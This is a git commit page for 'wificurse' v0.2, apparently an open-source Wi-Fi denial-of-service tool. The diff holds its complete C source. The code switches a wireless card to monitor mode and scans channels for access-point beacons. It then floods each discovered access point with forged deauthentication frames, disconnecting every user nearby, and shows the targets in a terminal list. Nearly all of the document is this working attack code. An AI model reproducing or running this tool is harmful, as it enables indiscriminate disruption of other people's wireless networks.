wificurse

wifi jamming tool
git clone git://git.2f30.org/wificurse
Log | Files | Refs | README | LICENSE

commit 2ae5fb0b95224b7a93fd6e3f1ca8f76eaab2a53b
parent 9b7d18fa2111607ef1392cee18e4a8a1b12640fb
Author: oblique <psyberbits@gmail.com>
Date:   Sat,  3 Mar 2012 05:50:41 +0200

wificurse v0.2; better terminal output

Diffstat:
MMakefile | 2+-
Aconsole.c | 127+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aconsole.h | 52++++++++++++++++++++++++++++++++++++++++++++++++++++
Adev.c | 26++++++++++++++++++++++++++
Adev.h | 38++++++++++++++++++++++++++++++++++++++
Merror.c | 4++--
Merror.h | 8++++++--
Aiw.c | 209+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aiw.h | 52++++++++++++++++++++++++++++++++++++++++++++++++++++
Mwificurse.c | 249+++++++++++--------------------------------------------------------------------
Mwificurse.h | 42++++--------------------------------------
11 files changed, 550 insertions(+), 259 deletions(-)

diff --git a/Makefile b/Makefile @@ -1,5 +1,5 @@ CC = $(CROSS_COMPILE)gcc -OBJS = wificurse.o error.o +OBJS = wificurse.o iw.o dev.o error.o console.o all: wificurse diff --git a/console.c b/console.c @@ -0,0 +1,127 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <time.h> +#include "dev.h" +#include "error.h" +#include "console.h" + + +void init_ap_list(struct ap_list *apl) { + apl->head = NULL; + apl->tail = NULL; +} + +void free_ap_list(struct ap_list *apl) { + struct access_point *tmp; + + tmp = apl->head; + while (apl->head != NULL) { + apl->head = apl->head->next; + free(tmp); + } + + apl->head = apl->tail = NULL; +} + +int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) { + struct access_point *ap; + + ap = apl->head; + while (ap != NULL) { + if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0) + break; + ap = ap->next; + } + + if (ap == NULL) { + ap = malloc(sizeof(*ap)); + if (ap == NULL) + return_error("malloc"); + + memset(ap, 0, sizeof(*ap)); + memcpy(ap->bssid, bssid, sizeof(ap->bssid)); + + if (apl->head == NULL) + apl->head = apl->tail = ap; + else { + ap->prev = apl->tail; + apl->tail->next = ap; + apl->tail = ap; + } + } + + ap->last_beacon_tm = time(NULL); + ap->dosing = 1; + ap->num_of_deauth++; + + return 0; +} + +void unlink_ap(struct ap_list *apl, struct access_point *ap) { + if (ap->prev) + ap->prev->next = ap->next; + else + apl->head = ap->next; + if (ap->next) + ap->next->prev = ap->prev; + else + apl->tail = ap->prev; +} + +void clear_scr() { + printf("\033[2J\033[1;1H"); + fflush(stdout); +} + +void update_scr(struct ap_list *apl, struct dev *dev) { + struct access_point *ap, *tmp; + + /* move cursor at colum 1 row 1 */ + printf("\033[1;1H"); + printf("[ Channel: %3d ]\n\n", dev->chan); + + printf("Deauth BSSID Number of Deauth\n\n"); + + ap = apl->head; + while (ap != NULL) { + if (time(NULL) - ap->last_beacon_tm >= 60) { + tmp = ap; + ap = ap->next; + unlink_ap(apl, tmp); + free(tmp); + continue; + } + if (ap->dosing) { + printf(RED_COLOR("*")); + ap->dosing = 0; + } else + printf(" "); + printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1], + ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]); + printf(" %d\n", ap->num_of_deauth); + ap = ap->next; + } + + /* from cursor to end of display */ + printf("\033[J"); + fflush(stdout); +} diff --git a/console.h b/console.h @@ -0,0 +1,52 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef CONSOLE_H +#define CONSOLE_H + +#include <stdint.h> +#include <time.h> +#include <sys/socket.h> +#include <linux/wireless.h> +#include "dev.h" + + +struct access_point { + int dosing; + unsigned int num_of_deauth; + time_t last_beacon_tm; + uint8_t bssid[IFHWADDRLEN]; + struct access_point *next; + struct access_point *prev; +}; + +struct ap_list { + struct access_point *head; + struct access_point *tail; +}; + + +void init_ap_list(struct ap_list *apl); +int add_or_update_ap(struct ap_list *apl, uint8_t *bssid); +void unlink_ap(struct ap_list *apl, struct access_point *ap); +void clear_scr(); +void update_scr(struct ap_list *apl, struct dev *dev); + +#define RED_COLOR(str) "\033[1;31m" str "\033[0m" + +#endif diff --git a/dev.c b/dev.c @@ -0,0 +1,26 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <string.h> +#include "dev.h" + + +void init_dev(struct dev *dev) { + memset(dev, 0, sizeof(*dev)); + dev->fd = -1; +} diff --git a/dev.h b/dev.h @@ -0,0 +1,38 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef DEV_H +#define DEV_H + +#include <sys/socket.h> +#include <linux/wireless.h> + + +struct dev { + char ifname[IFNAMSIZ+1]; + int ifindex; + int fd; + int chan; + struct ifreq old_flags; + struct iwreq old_mode; +}; + + +void init_dev(struct dev *dev); + +#endif diff --git a/error.c b/error.c @@ -1,6 +1,6 @@ /* wificurse - WiFi DoS tool - Copyright (C) <2012> <oblique> + Copyright (C) 2012 oblique This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -17,11 +17,11 @@ */ #include <stdio.h> -#include <stdlib.h> #include <stdarg.h> #include <string.h> #include "error.h" + struct _error { int errnum; int line; diff --git a/error.h b/error.h @@ -1,6 +1,6 @@ /* wificurse - WiFi DoS tool - Copyright (C) <2012> <oblique> + Copyright (C) 2012 oblique This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -22,11 +22,14 @@ #include <errno.h> +#define GOTERR -1 +#define ERRNODATA -2 +#define ERRAGAIN -3 + void set_error(char *file, int line, int errnum, char *fmt, ...); void print_error(); void _err_msg(char *file, int line, int errnum, char *fmt, ...); -#define GOTERR -1 #define return_error(fmt, ...) \ do { \ @@ -37,4 +40,5 @@ do { \ #define err_msg(fmt, ...) \ _err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); + #endif diff --git a/iw.c b/iw.c @@ -0,0 +1,209 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdlib.h> +#include <string.h> +#include <sys/socket.h> +#include <sys/ioctl.h> +#include <net/ethernet.h> +#include <netpacket/packet.h> +#include <linux/wireless.h> +#include "error.h" +#include "iw.h" + + +/* man 7 netdevice + * man 7 packet + */ +int iw_open(struct dev *dev) { + struct ifreq ifr; + struct iwreq iwr; + struct sockaddr_ll sll; + struct packet_mreq mreq; + int fd; + + fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (fd < 0) + return_error("socket"); + dev->fd = fd; + + /* save current interface flags */ + memset(&dev->old_flags, 0, sizeof(dev->old_flags)); + strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1); + if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) + return_error("ioctl(SIOCGIFFLAGS)"); + + /* save current interface mode */ + memset(&dev->old_mode, 0, sizeof(dev->old_mode)); + strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1); + if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) + return_error("ioctl(SIOCGIWMODE)"); + + /* set interface down (ifr_flags = 0) */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) + return_error("ioctl(SIOCSIFFLAGS)"); + + /* set monitor mode */ + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.mode = IW_MODE_MONITOR; + if (ioctl(fd, SIOCSIWMODE, &iwr) < 0) + return_error("ioctl(SIOCSIWMODE)"); + + /* set interface up, broadcast and running */ + ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) + return_error("ioctl(SIOCSIFFLAGS)"); + + /* get interface index */ + if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) + return_error("ioctl(SIOCGIFINDEX)"); + dev->ifindex = ifr.ifr_ifindex; + + /* bind interface to socket */ + memset(&sll, 0, sizeof(sll)); + sll.sll_family = AF_PACKET; + sll.sll_ifindex = dev->ifindex; + sll.sll_protocol = htons(ETH_P_ALL); + if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0) + return_error("bind(%s)", dev->ifname); + + /* enable promiscuous mode */ + memset(&mreq, 0, sizeof(mreq)); + mreq.mr_ifindex = dev->ifindex; + mreq.mr_type = PACKET_MR_PROMISC; + if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) + return_error("setsockopt(PACKET_MR_PROMISC)"); + + return 0; +} + +void iw_close(struct dev *dev) { + struct ifreq ifr; + + if (dev->fd == -1) + return; + + /* set interface down (ifr_flags = 0) */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); + ioctl(dev->fd, SIOCSIFFLAGS, &ifr); + /* restore old mode */ + ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode); + /* restore old flags */ + ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags); + close(dev->fd); +} + +ssize_t iw_write(int fd, void *buf, size_t count) { + unsigned char *pbuf, *pkt; + struct radiotap_hdr *rt_hdr; + struct write_radiotap_data *w_rt_data; + ssize_t r; + + pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count); + if (pbuf == NULL) + return_error("malloc"); + + rt_hdr = (struct radiotap_hdr*)pbuf; + w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr)); + pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data); + + /* radiotap header */ + memset(rt_hdr, 0, sizeof(*rt_hdr)); + rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data); + rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS; + /* radiotap fields */ + memset(w_rt_data, 0, sizeof(*w_rt_data)); + w_rt_data->rate = 2; /* 1 Mb/s */ + w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ; + /* packet */ + memcpy(pkt, buf, count); + + r = send(fd, pbuf, rt_hdr->len + count, 0); + if (r < 0) { + free(pbuf); + return_error("send"); + } + + r -= rt_hdr->len; + free(pbuf); + + return r > 0 ? r : ERRAGAIN; +} + +ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { + struct radiotap_hdr *rt_hdr; + int r; + + /* read packet */ + r = recv(fd, buf, count, 0); + if (r < 0) + return_error("recv"); + + rt_hdr = buf; + if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r) + return ERRNODATA; + + *pkt = buf + rt_hdr->len; + *pkt_sz = r - rt_hdr->len; + + return r; +} + +int iw_can_change_channel(struct dev *dev) { + struct iwreq iwr; + ssize_t ret; + + /* set channel */ + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.freq.flags = IW_FREQ_FIXED; + iwr.u.freq.m = 1; + + if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) + return 0; + if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0) + return 0; + + /* channel 1 frequency is 2412 */ + return iwr.u.freq.m == 2412; +} + +int iw_set_channel(struct dev *dev, int chan) { + struct iwreq iwr; + ssize_t ret; + + /* discard packets that are in kernel packet queue */ + ret = 0; + while (ret != -1) + ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT); + + /* set channel */ + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.freq.flags = IW_FREQ_FIXED; + iwr.u.freq.m = chan; + if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) + return_error("ioctl(SIOCSIWFREQ)"); + dev->chan = chan; + + return 0; +} diff --git a/iw.h b/iw.h @@ -0,0 +1,52 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef IW_H +#define IW_H + +#include <stdint.h> +#include "dev.h" + + +struct radiotap_hdr { + uint8_t version; + uint8_t pad; + uint16_t len; + uint32_t present; +} __attribute__((__packed__)); + +struct write_radiotap_data { + uint8_t rate; + uint8_t pad; + uint16_t tx_flags; +} __attribute__((__packed__)); + +#define RADIOTAP_F_PRESENT_RATE (1<<2) +#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15) +#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008 +#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010 + + +int iw_open(struct dev *dev); +void iw_close(struct dev *dev); +ssize_t iw_write(int fd, void *buf, size_t count); +ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz); +int iw_can_change_channel(struct dev *dev); +int iw_set_channel(struct dev *dev, int chan); + +#endif diff --git a/wificurse.c b/wificurse.c @@ -1,6 +1,6 @@ /* wificurse - WiFi DoS tool - Copyright (C) <2012> <oblique> + Copyright (C) 2012 oblique This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -20,205 +20,19 @@ #include <stdlib.h> #include <stdint.h> #include <string.h> -#include <errno.h> #include <poll.h> #include <signal.h> -#include <sys/socket.h> -#include <sys/ioctl.h> -#include <net/ethernet.h> -#include <netpacket/packet.h> -#include <linux/wireless.h> +#include "dev.h" +#include "iw.h" #include "error.h" +#include "console.h" #include "wificurse.h" -void init_dev(struct dev *dev) { - memset(dev, 0, sizeof(*dev)); - dev->fd = -1; -} - -/* man 7 netdevice - * man 7 packet - */ -int iw_open(struct dev *dev) { - struct ifreq ifr; - struct iwreq iwr; - struct sockaddr_ll sll; - struct packet_mreq mreq; - int fd; - - fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); - if (fd < 0) - return_error("socket"); - dev->fd = fd; - - /* save current interface flags */ - memset(&dev->old_flags, 0, sizeof(dev->old_flags)); - strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1); - if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) - return_error("ioctl(SIOCGIFFLAGS)"); - - /* save current interface mode */ - memset(&dev->old_mode, 0, sizeof(dev->old_mode)); - strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1); - if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) - return_error("ioctl(SIOCGIWMODE)"); - - /* set interface down (ifr_flags = 0) */ - memset(&ifr, 0, sizeof(ifr)); - strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); - if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) - return_error("ioctl(SIOCSIFFLAGS)"); - - /* set monitor mode */ - memset(&iwr, 0, sizeof(iwr)); - strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); - iwr.u.mode = IW_MODE_MONITOR; - if (ioctl(fd, SIOCSIWMODE, &iwr) < 0) - return_error("ioctl(SIOCSIWMODE)"); - - /* set interface up, broadcast and running */ - ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING; - if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) - return_error("ioctl(SIOCSIFFLAGS)"); - - /* get interface index */ - if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) - return_error("ioctl(SIOCGIFINDEX)"); - dev->ifindex = ifr.ifr_ifindex; - - /* bind interface to socket */ - memset(&sll, 0, sizeof(sll)); - sll.sll_family = AF_PACKET; - sll.sll_ifindex = dev->ifindex; - sll.sll_protocol = htons(ETH_P_ALL); - if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0) - return_error("bind(%s)", dev->ifname); - - /* enable promiscuous mode */ - memset(&mreq, 0, sizeof(mreq)); - mreq.mr_ifindex = dev->ifindex; - mreq.mr_type = PACKET_MR_PROMISC; - if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) - return_error("setsockopt(PACKET_MR_PROMISC)"); - - return 0; -} - -void iw_close(struct dev *dev) { - struct ifreq ifr; - - if (dev->fd == -1) - return; - - /* set interface down (ifr_flags = 0) */ - memset(&ifr, 0, sizeof(ifr)); - strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); - ioctl(dev->fd, SIOCSIFFLAGS, &ifr); - /* restore old mode */ - ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode); - /* restore old flags */ - ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags); - close(dev->fd); -} - -ssize_t iw_write(int fd, void *buf, size_t count) { - unsigned char *pbuf, *pkt; - struct radiotap_hdr *rt_hdr; - struct write_radiotap_data *w_rt_data; - ssize_t r; - - pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count); - if (pbuf == NULL) - return_error("malloc"); - - rt_hdr = (struct radiotap_hdr*)pbuf; - w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr)); - pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data); - - /* radiotap header */ - memset(rt_hdr, 0, sizeof(*rt_hdr)); - rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data); - rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS; - /* radiotap fields */ - memset(w_rt_data, 0, sizeof(*w_rt_data)); - w_rt_data->rate = 2; /* 1 Mb/s */ - w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ; - /* packet */ - memcpy(pkt, buf, count); - - r = send(fd, pbuf, rt_hdr->len + count, 0); - if (r < 0) { - free(pbuf); - return_error("send"); - } - - free(pbuf); - return r - rt_hdr->len; -} - -ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { - struct radiotap_hdr *rt_hdr; - int r; - - /* read packet */ - r = recv(fd, buf, count, 0); - if (r < 0) - return_error("recv"); - - rt_hdr = buf; - if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r) - return -EAGAIN; - - *pkt = buf + rt_hdr->len; - *pkt_sz = r - rt_hdr->len; - - return r; -} - -int iw_can_change_channel(struct dev *dev) { - struct iwreq iwr; - ssize_t ret; - - /* set channel */ - memset(&iwr, 0, sizeof(iwr)); - strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); - iwr.u.freq.flags = IW_FREQ_FIXED; - iwr.u.freq.m = 1; - - if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) - return 0; - if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0) - return 0; - - /* channel 1 frequency is 2412 */ - return iwr.u.freq.m == 2412; -} - -int iw_set_channel(struct dev *dev, int chan) { - struct iwreq iwr; - ssize_t ret; - - /* discard packets that are in kernel packet queue */ - ret = 0; - while (ret != -1) - ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT); - - /* set channel */ - memset(&iwr, 0, sizeof(iwr)); - strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); - iwr.u.freq.flags = IW_FREQ_FIXED; - iwr.u.freq.m = chan; - if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) - return_error("ioctl(SIOCSIWFREQ)"); - dev->chan = chan; - - return 0; -} - -int send_deauth(int fd, unsigned char *ap_mac) { +int send_deauth(int fd, uint8_t *ap_mac) { struct mgmt_frame *deauth; uint16_t *reason; + ssize_t r; int i; deauth = malloc(sizeof(*deauth) + sizeof(*reason)); @@ -238,9 +52,12 @@ int send_deauth(int fd, unsigned char *ap_mac) { /* flood the network */ for (i=0; i<128; i++) { deauth->sc.sequence = i; - if (iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)) < 0) { + do { + r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)); + } while (r == ERRAGAIN); + if (r < 0) { free(deauth); - return GOTERR; + return r; } usleep(1000); } @@ -257,10 +74,8 @@ int read_bssid(int fd, uint8_t *bssid) { struct mgmt_frame *beacon; r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz); - if (r == -EAGAIN) - return -EAGAIN; - else if (r < 0) - return GOTERR; + if (r < 0) + return r; beacon = (struct mgmt_frame*)pkt; @@ -270,20 +85,13 @@ int read_bssid(int fd, uint8_t *bssid) { return 0; } - return -EAGAIN; -} - -void print_mac(uint8_t *mac) { - int i; - - for (i=0; i<5; i++) - printf("%02x:", mac[i]); - printf("%02x", mac[i]); + return ERRNODATA; } int main(int argc, char *argv[]) { struct dev dev; + struct ap_list apl; uint8_t bssid[IFHWADDRLEN]; sigset_t exit_sig; struct pollfd pfd[2]; @@ -291,7 +99,8 @@ int main(int argc, char *argv[]) { int chan, ret, sigfd; if (argc != 2) { - fprintf(stderr, "usage: wificurse <interface>\n"); + fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n"); + fprintf(stderr, " usage: wificurse <interface>\n\n"); return EXIT_FAILURE; } @@ -300,6 +109,8 @@ int main(int argc, char *argv[]) { return EXIT_FAILURE; } + /* init access point list */ + init_ap_list(&apl); /* init signals */ sigemptyset(&exit_sig); @@ -331,8 +142,8 @@ int main(int argc, char *argv[]) { } if (!iw_can_change_channel(&dev)) { - fprintf(stderr, "%s cannot change channels in monitor mode.\n" - "Maybe you will need to patch your kernel with:\n" + fprintf(stderr, "%s can not change channels in monitor mode.\n" + "Maybe you need to patch your kernel with:\n" " patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname); goto _errout; } @@ -348,7 +159,9 @@ int main(int argc, char *argv[]) { print_error(); goto _errout; } - printf("Channel: %d\n", dev.chan); + + clear_scr(); + update_scr(&apl, &dev); while (1) { if (poll(pfd, 2, 0) < 0) { @@ -361,13 +174,15 @@ int main(int argc, char *argv[]) { if (pfd[1].revents & POLLIN) { ret = read_bssid(dev.fd, bssid); - if (ret < 0 && ret != -EAGAIN) { /* error */ + if (ret < 0 && ret != ERRNODATA) { /* error */ print_error(); goto _errout; } else if (ret == 0) { /* got BSSID */ - printf("DoS BSSID "); - print_mac(bssid); - printf("\n"); + if (add_or_update_ap(&apl, bssid) < 0) { + print_error(); + goto _errout; + } + update_scr(&apl, &dev); if (send_deauth(dev.fd, bssid) < 0) { print_error(); goto _errout; @@ -387,15 +202,17 @@ int main(int argc, char *argv[]) { print_error(); goto _errout; } - printf("Channel: %d\n", dev.chan); + update_scr(&apl, &dev); tm1 = time(NULL); } } printf("\nExiting..\n"); iw_close(&dev); + free_ap_list(&apl); return EXIT_SUCCESS; _errout: iw_close(&dev); + free_ap_list(&apl); return EXIT_FAILURE; } diff --git a/wificurse.h b/wificurse.h @@ -1,6 +1,6 @@ /* wificurse - WiFi DoS tool - Copyright (C) <2012> <oblique> + Copyright (C) 2012 oblique This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -19,39 +19,12 @@ #ifndef WIFICURSE_H #define WIFICURSE_H -#include <stdlib.h> #include <stdint.h> -#include <sys/socket.h> #include <linux/if.h> +#include "dev.h" -struct dev { - char ifname[IFNAMSIZ+1]; - int ifindex; - int fd; - int chan; - struct ifreq old_flags; - struct iwreq old_mode; -}; - - -struct radiotap_hdr { - uint8_t version; - uint8_t pad; - uint16_t len; - uint32_t present; -} __attribute__((__packed__)); - -struct write_radiotap_data { - uint8_t rate; - uint8_t pad; - uint16_t tx_flags; -} __attribute__((__packed__)); - -#define RADIOTAP_F_PRESENT_RATE (1<<2) -#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15) -#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008 -#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010 +#define VERSION "0.2" struct frame_control { uint8_t protocol_version:2; @@ -86,14 +59,7 @@ struct mgmt_frame { } __attribute__((__packed__)); -void init_dev(struct dev *dev); -int iw_open(struct dev *dev); -void iw_close(struct dev *dev); -ssize_t iw_write(int fd, void *buf, size_t count); -ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz); -int iw_set_channel(struct dev *dev, int chan); -int send_deauth(int fd, unsigned char *ap_mac); +int send_deauth(int fd, uint8_t *ap_mac); int read_bssid(int fd, uint8_t *bssid); -void print_mac(uint8_t *mac); #endif